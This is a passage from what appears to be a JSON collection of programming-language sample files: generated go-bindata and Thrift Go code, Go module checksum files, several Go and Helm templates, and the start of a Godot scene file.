x27\\x68\\x9c\\x3e\\x2b\\x97\\x2a\\x45\\x62\\x79\\x63\\x6f\\xe2\\x08\\xe9\\x26\\xde\\xe3\\x1a\\xdd\\xfc\\xf3\\xf2\\xfb\\x85\\x94\\xd9\\x8d\\x81\\xc9\\x03\\x72\\x10\\x24\\x97\\x42\\xd5\\x37\\xb6\\xc9\\x3e\\x46\\x77\\xad\\xc5\\xe2\\x8d\\x37\\x08\\xa8\\x1f\\x76\\x1e\\x57\\xdf\\xee\\xaa\\x61\\x78\\x3e\\xc1\\x5a\\x77\\x5f\\xf1\\x36\\x94\\x3b\\x56\\x7e\\xf1\\x2d\\x6f\\x58\\xfb\\x7c\\x37\\xaa\\x1d\\x4e\\xba\\x8f\\xed\\x7f\\x1a\\xfc\\x60\\xcf\\x7d\\xb0\\x53\\x0e\\x1e\\x33\\xc6\\x25\\xf9\\x4c\\x92\\x11\\xaa\\xf0\\x6f\\x00\\x00\\x00\\xff\\xff\\x3a\\xb5\\x30\\x94\\x78\\x14\\x00\\x00\")\n\nfunc uiTsTypingsMithriljsMithrilDTsBytes() ([]byte, error) {\n  return bindataRead(\n    _uiTsTypingsMithriljsMithrilDTs,\n    \"ui/ts/typings/mithriljs/mithril.d.ts\",\n  )\n}\n\nfunc uiTsTypingsMithriljsMithrilDTs() (*asset, error) {\n  bytes, err := uiTsTypingsMithriljsMithrilDTsBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/ts/typings/mithriljs/mithril.d.ts\", size: 5240, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\n// Asset loads and returns the asset for the given name.\n// It returns an error if the asset could not be found or\n// could not be loaded.\nfunc Asset(name string) ([]byte, error) {\n  cannonicalName := strings.Replace(name, \"\\\\\", \"/\", -1)\n  if f, ok := _bindata[cannonicalName]; ok {\n    a, err := f()\n    if err != nil {\n      return nil, fmt.Errorf(\"Asset %s can't read by error: %v\", name, err)\n    }\n    return a.bytes, nil\n  }\n  return nil, fmt.Errorf(\"Asset %s not found\", name)\n}\n\n// MustAsset is like Asset but panics when Asset would return an error.\n// It simplifies safe initialization of global variables.\nfunc MustAsset(name string) []byte {\n  a, err := Asset(name)\n  if err != nil {\n    panic(\"asset: Asset(\" + name + \"): \" + err.Error())\n  }\n\n  return a\n}\n\n// AssetInfo loads and returns the asset info for the given name.\n// It returns an error if the asset could not be found or\n// could not be loaded.\nfunc AssetInfo(name string) (os.FileInfo, error) {\n  cannonicalName := strings.Replace(name, \"\\\\\", \"/\", -1)\n  if f, ok := _bindata[cannonicalName]; ok {\n    a, err := f()\n    if err != nil {\n      return nil, fmt.Errorf(\"AssetInfo %s can't read by error: %v\", name, err)\n    }\n    return a.info, nil\n  }\n  return nil, fmt.Errorf(\"AssetInfo %s not found\", name)\n}\n\n// AssetNames returns the names of the assets.\nfunc AssetNames() []string {\n  names := make([]string, 0, len(_bindata))\n  for name := range _bindata {\n    names = append(names, name)\n  }\n  return names\n}\n\n// _bindata is a table, holding each asset generator, mapped to its name.\nvar _bindata = map[string]func() (*asset, error){\n  \"ui/css/app.css\":                                uiCssAppCss,\n  \"ui/css/graph.css\":                              uiCssGraphCss,\n  \"ui/css/libs/nvd3/1.7.1/nv.d3.min.css\":          uiCssLibsNvd3171NvD3MinCss,\n  \"ui/css/rest_explorer.css\":                      uiCssRest_explorerCss,\n  \"ui/index.html\":                                 uiIndexHtml,\n  \"ui/js/app.js\":                                  uiJsAppJs,\n  \"ui/js/libs/d3/3.3.5/d3.min.js\":                 uiJsLibsD3335D3MinJs,\n  \"ui/js/libs/mithriljs/0.2.0/mithril.min.js\":     uiJsLibsMithriljs020MithrilMinJs,\n  \"ui/js/libs/mithriljs/0.2.0/mithril.min.js.map\": uiJsLibsMithriljs020MithrilMinJsMap,\n  \"ui/js/libs/nvd3/1.7.1/nv.d3.min.js\":            uiJsLibsNvd3171NvD3MinJs,\n  \"ui/ts/app.ts\":                                  uiTsAppTs,\n  \"ui/ts/components/metrics.ts\":                   uiTsComponentsMetricsTs,\n  \"ui/ts/header.ts\":                               uiTsHeaderTs,\n  \"ui/ts/models/node_status.ts\":                   uiTsModelsNode_statusTs,\n  \"ui/ts/models/stats.ts\":                         uiTsModelsStatsTs,\n  \"ui/ts/models/store_status.ts\":                  uiTsModelsStore_statusTs,\n  \"ui/ts/models/timeseries.ts\":                    uiTsModelsTimeseriesTs,\n  \"ui/ts/pages/graph.ts\":                          uiTsPagesGraphTs,\n  \"ui/ts/pages/monitor.ts\":                        uiTsPagesMonitorTs,\n  \"ui/ts/pages/nodes.ts\":                          uiTsPagesNodesTs,\n  \"ui/ts/pages/rest_explorer.ts\":                  uiTsPagesRest_explorerTs,\n  \"ui/ts/pages/stores.ts\":                         uiTsPagesStoresTs,\n  \"ui/ts/tsconfig.json\":                           uiTsTsconfigJson,\n  \"ui/ts/typings/d3/d3.d.ts\":                      uiTsTypingsD3D3DTs,\n  \"ui/ts/typings/jquery/jquery.d.ts\":              uiTsTypingsJqueryJqueryDTs,\n  \"ui/ts/typings/mithriljs/mithril.d.ts\":          uiTsTypingsMithriljsMithrilDTs,\n}\n\n// AssetDir returns the file names below a certain\n// directory embedded in the file by go-bindata.\n// For example if you run go-bindata on data/... and data contains the\n// following hierarchy:\n//     data/\n//       foo.txt\n//       img/\n//         a.png\n//         b.png\n// then AssetDir(\"data\") would return []string{\"foo.txt\", \"img\"}\n// AssetDir(\"data/img\") would return []string{\"a.png\", \"b.png\"}\n// AssetDir(\"foo.txt\") and AssetDir(\"notexist\") would return an error\n// AssetDir(\"\") will return []string{\"data\"}.\nfunc AssetDir(name string) ([]string, error) {\n  node := _bintree\n  if len(name) != 0 {\n    cannonicalName := strings.Replace(name, \"\\\\\", \"/\", -1)\n    pathList := strings.Split(cannonicalName, \"/\")\n    for _, p := range pathList {\n      node = node.Children[p]\n      if node == nil {\n        return nil, fmt.Errorf(\"Asset %s not found\", name)\n      }\n    }\n  }\n  if node.Func != nil {\n    return nil, fmt.Errorf(\"Asset %s not found\", name)\n  }\n  rv := make([]string, 0, len(node.Children))\n  for childName := range node.Children {\n    rv = append(rv, childName)\n  }\n  return rv, nil\n}\n\ntype bintree struct {\n  Func     func() (*asset, error)\n  Children map[string]*bintree\n}\n\nvar _bintree = &bintree{nil, map[string]*bintree{\n  \"ui\": {nil, map[string]*bintree{\n    \"css\": {nil, map[string]*bintree{\n      \"app.css\":   {uiCssAppCss, map[string]*bintree{}},\n      \"graph.css\": {uiCssGraphCss, map[string]*bintree{}},\n      \"libs\": {nil, map[string]*bintree{\n        \"nvd3\": {nil, map[string]*bintree{\n          \"1.7.1\": {nil, map[string]*bintree{\n            \"nv.d3.min.css\": {uiCssLibsNvd3171NvD3MinCss, map[string]*bintree{}},\n          }},\n        }},\n      }},\n      \"rest_explorer.css\": {uiCssRest_explorerCss, map[string]*bintree{}},\n    }},\n    \"index.html\": {uiIndexHtml, map[string]*bintree{}},\n    \"js\": {nil, map[string]*bintree{\n      \"app.js\": {uiJsAppJs, map[string]*bintree{}},\n      \"libs\": {nil, map[string]*bintree{\n        \"d3\": {nil, map[string]*bintree{\n          \"3.3.5\": {nil, map[string]*bintree{\n            \"d3.min.js\": {uiJsLibsD3335D3MinJs, map[string]*bintree{}},\n          }},\n        }},\n        \"mithriljs\": {nil, map[string]*bintree{\n          \"0.2.0\": {nil, map[string]*bintree{\n            \"mithril.min.js\":     {uiJsLibsMithriljs020MithrilMinJs, map[string]*bintree{}},\n            \"mithril.min.js.map\": {uiJsLibsMithriljs020MithrilMinJsMap, map[string]*bintree{}},\n          }},\n        }},\n        \"nvd3\": {nil, map[string]*bintree{\n          \"1.7.1\": {nil, map[string]*bintree{\n            \"nv.d3.min.js\": {uiJsLibsNvd3171NvD3MinJs, map[string]*bintree{}},\n          }},\n        }},\n      }},\n    }},\n    \"ts\": {nil, map[string]*bintree{\n      \"app.ts\": {uiTsAppTs, map[string]*bintree{}},\n      \"components\": {nil, map[string]*bintree{\n        \"metrics.ts\": {uiTsComponentsMetricsTs, map[string]*bintree{}},\n      }},\n      \"header.ts\": {uiTsHeaderTs, map[string]*bintree{}},\n      \"models\": {nil, map[string]*bintree{\n        \"node_status.ts\":  {uiTsModelsNode_statusTs, map[string]*bintree{}},\n        \"stats.ts\":        {uiTsModelsStatsTs, map[string]*bintree{}},\n        \"store_status.ts\": {uiTsModelsStore_statusTs, map[string]*bintree{}},\n        \"timeseries.ts\":   {uiTsModelsTimeseriesTs, map[string]*bintree{}},\n      }},\n      \"pages\": {nil, map[string]*bintree{\n        \"graph.ts\":         {uiTsPagesGraphTs, map[string]*bintree{}},\n        \"monitor.ts\":       {uiTsPagesMonitorTs, map[string]*bintree{}},\n        \"nodes.ts\":         {uiTsPagesNodesTs, map[string]*bintree{}},\n        \"rest_explorer.ts\": {uiTsPagesRest_explorerTs, map[string]*bintree{}},\n        \"stores.ts\":        {uiTsPagesStoresTs, map[string]*bintree{}},\n      }},\n      \"tsconfig.json\": {uiTsTsconfigJson, map[string]*bintree{}},\n      \"typings\": {nil, map[string]*bintree{\n        \"d3\": {nil, map[string]*bintree{\n          \"d3.d.ts\": {uiTsTypingsD3D3DTs, map[string]*bintree{}},\n        }},\n        \"jquery\": {nil, map[string]*bintree{\n          \"jquery.d.ts\": {uiTsTypingsJqueryJqueryDTs, map[string]*bintree{}},\n        }},\n        \"mithriljs\": {nil, map[string]*bintree{\n          \"mithril.d.ts\": {uiTsTypingsMithriljsMithrilDTs, map[string]*bintree{}},\n        }},\n      }},\n    }},\n  }},\n}}\n\n// RestoreAsset restores an asset under the given directory\nfunc RestoreAsset(dir, name string) error {\n  data, err := Asset(name)\n  if err != nil {\n    return err\n  }\n  info, err := AssetInfo(name)\n  if err != nil {\n    return err\n  }\n  err = os.MkdirAll(_filePath(dir, path.Dir(name)), os.FileMode(0755))\n  if err != nil {\n    return err\n  }\n  err = ioutil.WriteFile(_filePath(dir, name), data, info.Mode())\n  if err != nil {\n    return err\n  }\n  err = os.Chtimes(_filePath(dir, name), info.ModTime(), info.ModTime())\n  if err != nil {\n    return err\n  }\n  return nil\n}\n\n// RestoreAssets restores an asset under the given directory recursively\nfunc RestoreAssets(dir, name string) error {\n  children, err := AssetDir(name)\n  // File\n  if err != nil {\n    return RestoreAsset(dir, name)\n  }\n  // Dir\n  for _, child := range children {\n    err = RestoreAssets(dir, path.Join(name, child))\n    if err != nil {\n      return err\n    }\n  }\n  return nil\n}\n\nfunc _filePath(dir, name string) string {\n  cannonicalName := strings.Replace(name, \"\\\\\", \"/\", -1)\n  return filepath.Join(append([]string{dir}, strings.Split(cannonicalName, \"/\")...)...)\n}\n"
  },
  {
    "path": "samples/Go/gen-go-linguist-thrift.go",
    "content": "// Autogenerated by Thrift Compiler (1.0.0-dev)\n// DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING\n\npackage linguist\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"git.apache.org/thrift.git/lib/go/thrift\"\n)\n\n// (needed to ensure safety because of naive import list construction.)\nvar _ = thrift.ZERO\nvar _ = fmt.Printf\nvar _ = bytes.Equal\n\nfunc init() {\n}\n"
  },
  {
    "path": "samples/Go/oapi-codegen.go",
    "content": "// Package api provides primitives to interact the openapi HTTP API.\n//\n// Code generated by github.com/deepmap/oapi-codegen DO NOT EDIT.\npackage api\n\n// Error defines model for Error.\ntype Error struct {\n\n    // Error code\n    Code int32 `json:\"code\"`\n\n    // Error message\n    Message string `json:\"message\"`\n}\n\n// NewPet defines model for NewPet.\ntype NewPet struct {\n\n    // Name of the pet\n    Name string `json:\"name\"`\n\n    // Type of the pet\n    Tag *string `json:\"tag,omitempty\"`\n}\n\n// Pet defines model for Pet.\ntype Pet struct {\n    // Embedded struct due to allOf(#/components/schemas/NewPet)\n    NewPet\n    // Embedded fields due to inline allOf schema\n\n    // Unique id of the pet\n    Id int64 `json:\"id\"`\n}\n\n// FindPetsParams defines parameters for FindPets.\ntype FindPetsParams struct {\n\n    // tags to filter by\n    Tags *[]string `json:\"tags,omitempty\"`\n\n    // maximum number of results to return\n    Limit *int32 `json:\"limit,omitempty\"`\n}\n\n// AddPetJSONBody defines parameters for AddPet.\ntype AddPetJSONBody NewPet\n\n// AddPetRequestBody defines body for AddPet for application/json ContentType.\ntype AddPetJSONRequestBody AddPetJSONBody\n"
  },
  {
    "path": "samples/Go Checksums/filenames/go.sum",
    "content": "cloud.google.com/go v0.34.0 h1:eOI3/cP2VTU6uZLDYAoic+eyzzB9YyGmJ7eIjl8rOPg=\ncloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ngithub.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM=\ngithub.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngolang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e h1:bRhVy7zSSasaqNksaRZiA5EEI+Ei4I1nO5Jh72wfHlg=\ngolang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4 h1:YUO/7uOKsKeq9UokNS62b8FYywz3ker1l1vDZRCRefw=\ngolang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngoogle.golang.org/appengine v1.4.0 h1:/wp5JvzpHIxhs/dumFmF7BXTf3Z+dd4uXta4kVyO508=\ngoogle.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4="
  },
  {
    "path": "samples/Go Checksums/filenames/go.work.sum",
    "content": "github.com/PuerkitoBio/purell v1.1.1 h1:WEQqlqaGbrPkxLJWfBwQmfEAE1Z7ONdDLqrN38tNFfI=\ngithub.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 h1:d+Bc7a5rLufV/sSk/8dngufqelfh6jnri85riMAaF/M=\n"
  },
  {
    "path": "samples/Go Module/filenames/go.mod",
    "content": "module golang.org/x/oauth2\n\ngo 1.11\n\nrequire (\n\tcloud.google.com/go v0.34.0\n\tgolang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e\n\tgolang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4 // indirect\n\tgoogle.golang.org/appengine v1.4.0\n)"
  },
  {
    "path": "samples/Go Template/_helpers.tpl",
    "content": "{{- /* Generate basic labels */ -}}\n{{- define \"mychart.labels\" }}\n  labels:\n    generator: helm\n    date: {{ now | htmlDate }}\n    chart: {{ .Chart.Name }}\n    version: {{ .Chart.Version }}\n{{- end }}\n"
  },
  {
    "path": "samples/Go Template/_templates.gotmpl",
    "content": "{{- /* https://github.com/redhat-cop/helm-charts/blob/main/_templates.gotmpl */ -}}\n\n{{ define \"doc.header\" -}}\n\n{{ template \"chart.header\" . }}\n  [![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)\n\n  {{ template \"chart.versionBadge\" . }}\n\n  {{ template \"chart.deprecationWarning\" . }}\n\n  ## Description\n\n  {{ template \"chart.description\" . }}\n\n{{- end }}\n\n{{ define \"doc.maintainer_and_sources\" -}}\n\n{{ template \"chart.maintainersSection\" . }}\n\n## Sources\nSource: {{ template \"chart.sourcesList\" . }}\n\nSource code: {{ template \"chart.homepage\" . }}\n\n{{- end }}\n\n\n{{ define \"doc.deps\" -}}\n\n## Dependencies\n\nThis chart has the following dependencies:\n\n{{ template \"chart.requirementsTable\" . }}\n\n{{- end }}\n\n{{ define \"doc.values\" -}}\n\n{{ template \"chart.valuesSection\" . }}\n\n{{- end }}\n\n\n{{ define \"doc.footer\" -}}\n\n## Installing the Chart\n\nTo install the chart with the release name `my-release`:\n\n```console\nhelm install my-release repo/<chart-name>>\n```\n\nThe command deploys the chart on the Kubernetes cluster in the default configuration.\n\n## Uninstalling the Chart\n\nTo uninstall/delete the my-release deployment:\n\n```console\nhelm delete my-release\n```\n\nThe command removes all the Kubernetes components associated with the chart and deletes the release.\n\n{{ template \"helm-docs.versionFooter\" . }}\n\n{{- end }}\n"
  },
  {
    "path": "samples/Go Template/base.tpl",
    "content": "{{ /* Example from https://github.com/go-echarts/go-echarts/blob/master/templates/base.tpl */ }}\n{{- define \"base_element\" -}}\n<div class=\"container\">\n    <div class=\"item\" id=\"{{ .ChartID }}\" style=\"width:{{ .Initialization.Width }};height:{{ .Initialization.Height }};\"></div>\n</div>\n{{- end -}}\n\n{{- define \"base_script\" -}}\n<script type=\"text/javascript\">\n    \"use strict\";\n    let goecharts_{{ .ChartID | safeJS }} = echarts.init(document.getElementById('{{ .ChartID | safeJS }}'), \"{{ .Theme }}\", { renderer: \"{{  .Initialization.Renderer }}\" });\n    let option_{{ .ChartID | safeJS }} = {{ template \"base_option\" . }}\n    goecharts_{{ .ChartID | safeJS }}.setOption(option_{{ .ChartID | safeJS }});\n\n  {{- range  $listener := .EventListeners }}\n    {{if .Query  }}\n    goecharts_{{ $.ChartID | safeJS }}.on({{ $listener.EventName }}, {{ $listener.Query | safeJS }}, {{ injectInstance $listener.Handler \"%MY_ECHARTS%\"  $.ChartID | safeJS }});\n    {{ else }}\n    goecharts_{{ $.ChartID | safeJS }}.on({{ $listener.EventName }}, {{ injectInstance $listener.Handler \"%MY_ECHARTS%\"  $.ChartID | safeJS }})\n    {{ end }}\n  {{- end }}\n\n    {{- range .JSFunctions.Fns }}\n    {{ injectInstance . \"%MY_ECHARTS%\"  $.ChartID  | safeJS }}\n    {{- end }}\n</script>\n{{- end -}}\n\n{{- define \"base_option\" }}\n    {{- .JSONNotEscaped | safeJS }}\n{{- end }};\n\n{{- define \"base\" }}\n    {{- template \"base_element\" . }}\n    {{- template \"base_script\" . }}\n{{- end }}\n"
  },
  {
    "path": "samples/Go Template/batch.gohtml",
    "content": "{{- /* https://github.com/ncruces/RethinkRAW/blob/master/assets/batch.gohtml */ -}}\n<!doctype html>\n<html lang=en>\n\n<head>\n    <meta charset=\"utf-8\">\n    <title>RethinkRAW: Batch processing {{len .Photos}} photos</title>\n    <link rel=\"manifest\" href=\"/manifest.json\" crossorigin=\"use-credentials\">\n    <link rel=\"shortcut icon\" href=\"/favicon.ico\">\n    <link rel=\"stylesheet\" href=\"/main.css\">\n    <link rel=\"stylesheet\" href=\"/batch.css\">\n    <link rel=\"stylesheet\" href=\"/raw-editor.css\">\n    <link rel=\"stylesheet\" href=\"/dialog-polyfill.css\">\n    <link rel=\"preload\" as=\"style\" href=\"/normalize.css\">\n    <link rel=\"preload\" as=\"style\" href=\"/fontawesome.css\">\n    <link rel=\"preload\" as=\"font\" type=\"font/woff2\" crossorigin href=\"/fa-solid-900.woff2\">\n    <script src=\"/dialog-polyfill.js\" defer></script>\n    <script src=\"/main.js\" defer></script>\n    <script src=\"/batch.js\" defer></script>\n    <script src=\"/raw-editor.js\" defer></script>\n    <noscript><meta http-equiv=\"refresh\" content=\"0;url=/browser.html\"></noscript>\n</head>\n\n<body>\n    {{- template \"raw-editor.gohtml\" \"hidden\"}}\n\n    <div id=menu-sticker>\n        <div id=menu>\n            <div class=\"toolbar\">\n                <button type=button title=\"Go back\" class=\"minimal-ui\" onclick=\"back()\"><i class=\"fas fa-arrow-left\"></i></button>\n                <button type=button title=\"Reload photos\" class=\"minimal-ui\" onclick=\"location.reload()\"><i class=\"fas fa-sync\"></i></button>\n                <button type=button title=\"S̲ave changes\" accesskey=\"s\" onclick=\"saveFile()\" id=save disabled><i class=\"fas fa-save\"></i></button>\n                {{- if .Export}}\n                <button type=button title=\"Ex̲port JPEGs (⌥-click for options)\" accesskey=\"x\" class=\"alt-off\" onclick=\"exportFile()\"><i class=\"fas fa-file-image\"></i></button>\n                <button type=button title=\"Export…\" class=\"alt-on\" onclick=\"exportFile('dialog')\"><i class=\"fas fa-file-download\"></i></button>\n                {{- end}}\n                <button type=button title=\"Edit photos…\" onclick=\"toggleEdit()\" id=edit><i class=\"fas fa-sliders-h\"></i></button>\n            </div>\n        </div>\n    </div>\n    <div id=gallery>\n        {{- range .Photos}}\n        <a href=\"/photo/{{.Path}}\" onclick=\"return popup(this, event)\">\n            <img loading=lazy title=\"{{.Name}}\" alt=\"{{.Name}}\" src=\"/thumb/{{.Path}}\" onerror=\"parentNode.hidden=true\">\n        </a>\n        {{- else}}\n        <span>No RAW photos here.</span>\n        {{- end}}\n    </div>\n\n    <dialog id=progress-dialog>\n        Lorem ipsum<br>\n        <progress></progress>\n    </dialog>\n</body>\n\n</html>\n"
  },
  {
    "path": "samples/Go Template/crd.tmpl",
    "content": "{{- /* https://github.com/grafana/k6-operator/blob/main/docs/crd.tmpl */ -}}\n---\ntitle: {{or .Metadata.Title \"API Reference\"}}\nweight: {{or .Metadata.Weight 1 }}\n{{- if .Metadata.Description}}\ndescription: {{.Metadata.Description}}\n{{- end}}\n---\n\n\nPackages:\n{{range .Groups}}\n- [{{.Group}}/{{.Version}}](#{{ anchorize (printf \"%s/%s\" .Group .Version) }})\n{{- end -}}{{/* range .Groups */}}\n\n{{- range .Groups }}\n{{- $group := . }}\n\n# {{.Group}}/{{.Version}}\n\nResource Types:\n{{range .Kinds}}\n- [{{.Name}}](#{{ anchorize .Name }})\n{{end}}{{/* range .Kinds */}}\n\n{{range .Kinds}}\n{{$kind := .}}\n## {{.Name}}\n<sup><sup>[↩ Parent](#{{ anchorize (printf \"%s/%s\" $group.Group $group.Version) }} )</sup></sup>\n\n{{range .Types}}\n\n{{if not .IsTopLevel}}\n### {{.Name}}\n{{if .ParentKey}}<sup><sup>[↩ Parent](#{{.ParentKey}})</sup></sup>{{end}}\n{{end}}\n\n\n{{.Description}}\n\n<table>\n    <thead>\n        <tr>\n            <th>Name</th>\n            <th>Type</th>\n            <th>Description</th>\n            <th>Required</th>\n        </tr>\n    </thead>\n    <tbody>\n      {{- if .IsTopLevel -}}\n      <tr>\n      <td><b>apiVersion</b></td>\n      <td>string</td>\n      <td>{{$group.Group}}/{{$group.Version}}</td>\n      <td>true</td>\n      </tr>\n      <tr>\n      <td><b>kind</b></td>\n      <td>string</td>\n      <td>{{$kind.Name}}</td>\n      <td>true</td>\n      </tr>\n      <tr>\n      <td><b><a href=\"https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta\">metadata</a></b></td>\n      <td>object</td>\n      <td>Refer to the Kubernetes API documentation for the fields of the `metadata` field.</td>\n      <td>true</td>\n      </tr>\n      {{- end -}}\n      {{- range .Fields -}}\n      <tr>\n        <td><b>{{if .TypeKey}}<a href=\"#{{.TypeKey}}\">{{.Name}}</a>{{else}}{{.Name}}{{end}}</b></td>\n        <td>{{.Type}}</td>\n        <td>\n          {{.Description}}<br/>\n          {{- if or .Schema.XValidations .Schema.Format .Schema.Enum .Schema.Default .Schema.Minimum .Schema.Maximum }}\n          <br/>\n          {{- end}}\n          {{- if .Schema.XValidations }}\n            <i>Validations</i>:\n            {{- range .Schema.XValidations -}}\n              <li>{{ .Rule }}: {{ .Message }}</li>\n            {{- end -}}\n          {{- end }}\n          {{- if .Schema.Format }}\n            <i>Format</i>: {{ .Schema.Format }}<br/>\n          {{- end }}\n          {{- if .Schema.Enum }}\n            <i>Enum</i>: {{ .Schema.Enum | toStrings | join \", \" }}<br/>\n          {{- end }}\n          {{- if .Schema.Default }}\n            <i>Default</i>: {{ .Schema.Default }}<br/>\n          {{- end }}\n          {{- if .Schema.Minimum }}\n            <i>Minimum</i>: {{ .Schema.Minimum }}<br/>\n          {{- end }}\n          {{- if .Schema.Maximum }}\n            <i>Maximum</i>: {{ .Schema.Maximum }}<br/>\n          {{- end }}\n        </td>\n        <td>{{.Required}}</td>\n      </tr>\n      {{- end -}}\n    </tbody>\n</table>\n\n{{- end}}{{/* range .Types */}}\n{{- end}}{{/* range .Kinds */}}\n{{- end}}{{/* range .Groups */}}\n"
  },
  {
    "path": "samples/Go Template/letter.tmpl",
    "content": "Dear {{.Name}},\n{{if .Attended}}\nIt was a pleasure to see you at the wedding.\n{{- else}}\nIt is a shame you couldn't make it to the wedding.\n{{- end}}\n{{with .Gift -}}\nThank you for the lovely {{.}}.\n{{end}}\nBest wishes,\nJosie\n"
  },
  {
    "path": "samples/Go Template/prettier.html.tmpl",
    "content": "{{ if or .Prev .Next -}}\n  {{ $p := where site.Pages }}\n  <div class=\"my-navigation\">\n    {{ with $p.Next . -}}\n      <a href=\"{{ .RelPermalink }}\">\n        <div class=\"row\">\n          <div class=\"cell py-2\">{{ .Title }}</div>\n        </div>\n      </a>\n    {{ end -}}\n  </div>\n{{ end -}}\n"
  },
  {
    "path": "samples/Go Workspace/filenames/go.work",
    "content": "go 1.19\n\nuse (\n\t./api\n\t./pkg/featureflags\n\t./pkg/libhelm\n\t./third_party/digest\n)\n"
  },
  {
    "path": "samples/Godot Resource/Main.tscn",
    "content": "[gd_scene load_steps=20 format=2]\n\n[ext_resource path=\"res://assets/themes/dark/theme.tres\" type=\"Theme\" id=1]\n[ext_resource path=\"res://src/Main.gd\" type=\"Script\" id=2]\n[ext_resource path=\"res://src/UI/TopMenuContainer.tscn\" type=\"PackedScene\" id=3]\n[ext_resource path=\"res://src/UI/UI.tscn\" type=\"PackedScene\" id=4]\n[ext_resource path=\"res://src/UI/PatternsPopup.tscn\" type=\"PackedScene\" id=5]\n[ext_resource path=\"res://src/UI/BrushesPopup.tscn\" type=\"PackedScene\" id=6]\n[ext_resource path=\"res://src/UI/Dialogs/ImageEffects/ImageEffects.tscn\" type=\"PackedScene\" id=7]\n[ext_resource path=\"res://src/UI/Dialogs/SaveSpriteHTML5.tscn\" type=\"PackedScene\" id=8]\n[ext_resource path=\"res://src/UI/Timeline/FrameProperties.tscn\" type=\"PackedScene\" id=9]\n[ext_resource path=\"res://src/UI/Dialogs/WindowOpacityDialog.tscn\" type=\"PackedScene\" id=10]\n[ext_resource path=\"res://src/UI/Dialogs/SaveSprite.tscn\" type=\"PackedScene\" id=11]\n[ext_resource path=\"res://src/UI/Dialogs/OpenSprite.tscn\" type=\"PackedScene\" id=12]\n[ext_resource path=\"res://src/UI/Dialogs/ManageLayouts.tscn\" type=\"PackedScene\" id=13]\n[ext_resource path=\"res://src/UI/Dialogs/TileModeOffsetsDialog.tscn\" type=\"PackedScene\" id=14]\n[ext_resource path=\"res://src/UI/Dialogs/SplashDialog.tscn\" type=\"PackedScene\" id=27]\n[ext_resource path=\"res://src/UI/Dialogs/CreateNewImage.tscn\" type=\"PackedScene\" id=28]\n[ext_resource path=\"res://src/Preferences/PreferencesDialog.tscn\" type=\"PackedScene\" id=32]\n[ext_resource path=\"res://src/UI/Dialogs/AboutDialog.tscn\" type=\"PackedScene\" id=34]\n[ext_resource path=\"res://src/UI/Dialogs/ExportDialog.tscn\" type=\"PackedScene\" id=39]\n\n[node name=\"Control\" type=\"Control\"]\nanchor_right = 1.0\nanchor_bottom = 1.0\ntheme = ExtResource( 1 )\nscript = ExtResource( 2 )\n__meta__ = {\n\"_edit_horizontal_guides_\": [  ],\n\"_edit_vertical_guides_\": [  ]\n}\n\n[node name=\"MenuAndUI\" type=\"VBoxContainer\" parent=\".\"]\nanchor_right = 1.0\nanchor_bottom = 1.0\ncustom_constants/separation = 0\n__meta__ = {\n\"_edit_use_anchors_\": false\n}\n\n[node name=\"TopMenuContainer\" parent=\"MenuAndUI\" instance=ExtResource( 3 )]\n\n[node name=\"UI\" parent=\"MenuAndUI\" instance=ExtResource( 4 )]\nanchor_right = 0.0\nanchor_bottom = 0.0\nmargin_top = 28.0\nmargin_right = 1280.0\nmargin_bottom = 720.0\n\n[node name=\"Dialogs\" type=\"Control\" parent=\".\"]\nmouse_filter = 2\n__meta__ = {\n\"_edit_use_anchors_\": false\n}\n\n[node name=\"ImageEffects\" parent=\"Dialogs\" instance=ExtResource( 7 )]\n\n[node name=\"BrushesPopup\" parent=\"Dialogs\" instance=ExtResource( 6 )]\n\n[node name=\"PatternsPopup\" parent=\"Dialogs\" instance=ExtResource( 5 )]\n\n[node name=\"SplashDialog\" parent=\"Dialogs\" instance=ExtResource( 27 )]\n\n[node name=\"CreateNewImage\" parent=\"Dialogs\" instance=ExtResource( 28 )]\n\n[node name=\"OpenSprite\" parent=\"Dialogs\" instance=ExtResource( 12 )]\nwindow_title = \"Open File(s)\"\nmode = 1\n\n[node name=\"SaveSprite\" parent=\"Dialogs\" instance=ExtResource( 11 )]\nmargin_left = 108.0\nmargin_top = 40.0\nmargin_right = 623.0\nmargin_bottom = 388.0\n\n[node name=\"SaveSpriteHTML5\" parent=\"Dialogs\" instance=ExtResource( 8 )]\n\n[node name=\"ExportDialog\" parent=\"Dialogs\" instance=ExtResource( 39 )]\n\n[node name=\"PreferencesDialog\" parent=\"Dialogs\" instance=ExtResource( 32 )]\n\n[node name=\"ManageLayouts\" parent=\"Dialogs\" instance=ExtResource( 13 )]\n\n[node name=\"AboutDialog\" parent=\"Dialogs\" instance=ExtResource( 34 )]\n\n[node name=\"UnsavedCanvasDialog\" type=\"ConfirmationDialog\" 